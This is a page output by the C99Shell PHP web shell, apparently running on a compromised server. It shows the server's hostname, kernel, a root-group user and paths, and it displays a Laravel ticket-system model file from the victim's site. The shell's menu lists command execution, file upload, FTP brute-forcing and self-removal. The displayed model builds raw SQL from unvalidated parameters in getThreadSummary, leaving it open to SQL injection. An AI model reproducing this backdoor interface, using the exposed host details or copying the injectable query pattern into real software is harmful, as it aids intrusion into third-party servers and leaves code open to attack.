!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Ticket/Http/Models/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Thread.php (11.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package Thread Model
 * @author TechVillage <support@techvill.org>
 * @contributor Kabir Ahmed <[kabir.techvill@gmail.com]>
 * @created 02-15-2022
 */

namespace Modules\Ticket\Http\Models;

use 
App\Models\Model;
use 
App\Traits\ModelTrait;
use 
App\Traits\ModelTraits\hasFiles;
use 
DB;
use 
Illuminate\Support\Facades\Auth;

class 
Thread extends Model
{
    public 
$timestamps false;
    protected 
$table "threads";
    use 
ModelTraithasFiles;

    public function 
users()
    {
        return 
$this->hasMany('App\Models\User''id''user_id');
    }

    
/**
     * Relation with User model
     * @return \Illuminate\Database\Eloquent\Relations\belongsTo
     */
    
public function user()
    {
        return 
$this->belongsTo('App\Models\User''sender_id''id');
    }
     
/**
     * Relation with User model
     * @return \Illuminate\Database\Eloquent\Relations\belongsTo
     */
    
public function receiver()
    {
        return 
$this->belongsTo('App\Models\User''receiver_id''id');
    }

    
/**
     * Relation with Priority model
     * @return \Illuminate\Database\Eloquent\Relations\belongsTo
     */
    
public function priority()
    {
        return 
$this->belongsTo('Modules\Ticket\Http\Models\Priority''priority_id''id');
    }

     
/**
     * Relation with Department model
     * @return \Illuminate\Database\Eloquent\Relations\belongsTo
     */
    
public function department()
    {
        return 
$this->belongsTo('Modules\Ticket\Http\Models\Department''department_id''id');
    }

    
/**
     * Relation with ThreadStatus model
     * @return \Illuminate\Database\Eloquent\Relations\belongsTo
     */
    
public function threadStatus()
    {
        return 
$this->belongsTo('Modules\Ticket\Http\Models\ThreadStatus''thread_status_id''id');
    }

    
/**
     * Relation with User model
     * @return \Illuminate\Database\Eloquent\Relations\belongsTo
     */
    
public function assignedMember()
    {
        return 
$this->belongsTo('App\Models\User''assigned_member_id''id');
    }

    
/**
     * Relation with User model
     * @return \Illuminate\Database\Eloquent\Relations\belongsTo
     */
    
public function vendor()
    {
        return 
$this->belongsTo('App\Models\User''receiver_id''id');
    }

     
/**
     * Relation with ThreadReply model
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function threadReplies()
    {
        return 
$this->hasMany('Modules\Ticket\Http\Models\ThreadReply''thread_id''id');
    }

    
/**
     * store
     * @param array $data
     * @return boolean
     */
    
public function store($data = [])
    {
        
$id parent::insertGetId($data);

        if (
$id) {
            return 
$id;
        }
        return 
false;
    }

    
/**
     * @param null $id
     * @param array $data
     *
     * @return [type]
     */
    
public function updateDate($id null$data = [])
    {
        
$result Thread::where('id'$id);
        if (
$result->exists()) {
            if (
$result->update($data)) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * @return [type]
     */
    
public function getChatInfo()
    {
        
$ticket Thread::with('threadReplies');
        if (
Auth::user()->vendor()) {
            
$ticket $ticket->where('receiver_id'Auth::user()->id)->groupBy('sender_id');
        } else {
            
$ticket $ticket->where('sender_id'Auth::user()->id)->groupBy('receiver_id');
        }
        return 
$ticket->get();
    }


    
/**
     * Ticket details
     * @param mixed $id
     *
     * @return [type]
     */
    
public function getAllTicketDetailsById($id)
    {
        return 
Thread::with(['assignedMember','threadReplies' => function ($q) {
            
$q->orderBy('id''desc')->first();
        }, 
'priority:id,name''threadStatus:id,name,color''user:id,email,name''department:id,name'])->where('id'$id)->first();
    }

    public function 
getAllTicketRepliersById($id)
    {
        return 
ThreadReply::with(['sender''receiver'])->where('thread_id'$id)->orderBy('date''desc')->get();
    }

    
/**
     * @param null $from
     * @param null $to
     * @param null $departmentId
     * @param null $statusId
     * @param null $assigneeId
     *
     * @return [type]
     */
    
public function getAllData($from null$to null$departmentId null$statusId null$assigneeId null)
    {
        
$result Thread::with(['priority''threadStatus''vendor''department'])->select('threads.*');
        if (!empty(
$from)) {
            
$result $result->whereDate('date''>='DbDateFormat($from));
        }
        if (!empty(
$to)) {
            
$result $result->whereDate('date''<='DbDateFormat($to));
        }

        if (!empty(
$departmentId)) {
            
$result $result->where('department_id'$departmentId);
        }
        if (!empty(
$assigneeId)) {
            
$result $result->where('assigned_member_id'$assigneeId);
        }

        if (!empty(
$statusId)) {
            
$result $result->where('thread_status_id'$statusId);
        }

        if (
\Auth::user()->id != 1) {
            
$result $result->where('receiver_id'\Auth::user()->id)->orWhere('sender_id'\Auth::user()->id);
        }
        return 
$result->where('thread_type''TICKET');
    }

    
/**
     * Get tickets for admin
     */
    
public function getAllTickets($from null$to null$departmentId null$statusId null$a null$b null$c null$d null)
    {
        return  
$this->getAllData($from$to$departmentId$statusId$a$b$c$d)->with('assignedMember');
    }

    
/**
     * Get tickets for vendor
     */
    
public function getVendorTickets($from null$to null$departmentId null$statusId null$a null$b null$c null$d null)
    {
        
$result $this->getAllData($from$to$departmentId$statusId$a$b$c$d);
        return 
$result->where(['sender_id' => Auth::id()]);
    }

    public function 
getThreadSummary($from$to$status,  $departmentId$customerId null$assigneeId null)
    {
        
$whereConditions '';
        if (empty(
$from) || empty($to)) {
            
$date_range null;
        } else if (empty(
$from)) {
            
$date_range null;
        } else if (empty(
$to)) {
            
$date_range null;
        } else {
            
$date_range 'Available';
        }

        if (!empty(
$departmentId)) {
            
$whereConditions .= " AND threads.department_id = " $departmentId;
        }
        if (!empty(
$status)) {
            
$whereConditions .= " AND threads.thread_status_id = " $status;
        }
        if (!empty(
$customerId)) {
            
$whereConditions .= " AND thread_replies.sender_id = " $customerId;
        }
        if (!empty(
$assigneeId)) {
            
$whereConditions .= " AND threads.assigned_member_id = " $assigneeId;
        }

        if (!empty(
$date_range)) {
            
$from DbDateFormat($from);
            
$to   DbDateFormat($to);

            
$summary DB::select(DB::raw("SELECT COUNT(threads.thread_status_id)
                    as total_status,thread_statuses.name,thread_statuses.id, thread_statuses.color as color
                    FROM threads
                    RIGHT JOIN thread_statuses
                    ON thread_statuses.id = threads.thread_status_id
                    " 
$whereConditions "
                    AND  date(threads.date) BETWEEN '" 
$from "' AND '" $to "'
                    GROUP BY thread_statuses.id"
));
        } else {
            
$summary DB::select(DB::raw("SELECT COUNT(threads.thread_status_id)
                    as total_status,thread_statuses.name,thread_statuses.id, thread_statuses.color as color
                    FROM threads
                    RIGHT JOIN thread_statuses
                    ON thread_statuses.id = threads.thread_status_id
                    " 
$whereConditions "
                    GROUP BY thread_statuses.id"
));
        }
        return 
$summary;
    }

    public function 
getExceptClickedStatus($status$customerId null$projectId null$departmentId null$form null$to null)
    {
        
$data DB::table('threads')
            ->
leftjoin('thread_statuses''thread_statuses.id''=''threads.thread_status_id')
            ->
select('thread_statuses.name'DB::raw("COUNT(threads.thread_status_id) as total_status"), 'thread_statuses.id''thread_statuses.color as color')
            ->
groupBY('thread_statuses.id');
        if (!empty(
$status)) {
            
$data->where('threads.thread_status_id''='$status);
        }
        if (!empty(
$customerId)) {
            
$data->where('threads.receiver_id_id''='$customerId);
        }
        if (!empty(
$departmentId)) {
            
$data->where('threads.department_id''='$departmentId);
        }
        if (!empty(
$projectId)) {
            
$data->where('threads.project_id''='$projectId);
        }
        if (!empty(
$form)) {
            
$data->whereDate('threads.date''>='DbDateFormat($form));
        }
        if (!empty(
$to)) {
            
$data->whereDate('threads.date''<='DbDateFormat($to));
        }
        return 
$data->get();
    }

    public function 
getFilteredStatus($options = [])
    {
        
$conditions = [];
        
$otherStatuses DB::table('threads');
        
$flag 0;
        
$customerId = isset($options['customerId']) && !empty($options['customerId']) ? $options['customerId'] : null;
        if (isset(
$options['allproject']) && !empty($options['allproject'])) {
            
$conditions['project_id'] = $options['allproject'];
        }

        if (isset(
$options['alldepartment']) && !empty($options['alldepartment'])) {
            
$conditions['department_id'] = $options['alldepartment'];
        }

        if (isset(
$options['allstatus']) && !empty($options['allstatus'])) {
            
$otherStatuses $this->leftjoin('thread_statuses''thread_statuses.id''=''threads.thread_status_id')->where('threads.thread_status_id''!='$options['allstatus']);

            if (isset(
$options['customerId']) && !empty($options['customerId'])) {
                
$otherStatuses->where('threads.sender_id'$customerId);
            }

            if (isset(
$options['allassignee']) && !empty($options['allassignee'])) {
                
$otherStatuses->where('threads.assigned_member_id'$options['allassignee']);
            }

            if (isset(
$options['from']) && !empty($options['from'])) {
                
$otherStatuses->whereDate('threads.date''>='DbDateFormat($options['from']));
            }

            if (isset(
$options['to']) && !empty($options['to'])) {
                
$otherStatuses->whereDate('threads.date''<='DbDateFormat($options['to']));
            }

            
$otherStatuses $otherStatuses->select(DB::raw('COUNT(threads.thread_status_id) as total_status'), 'thread_statuses.name''thread_statuses.id''thread_statuses.color as color')->groupBY('thread_statuses.id');

            
$flag 1;
        }

        return 
$flag $otherStatuses->get() : "";
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--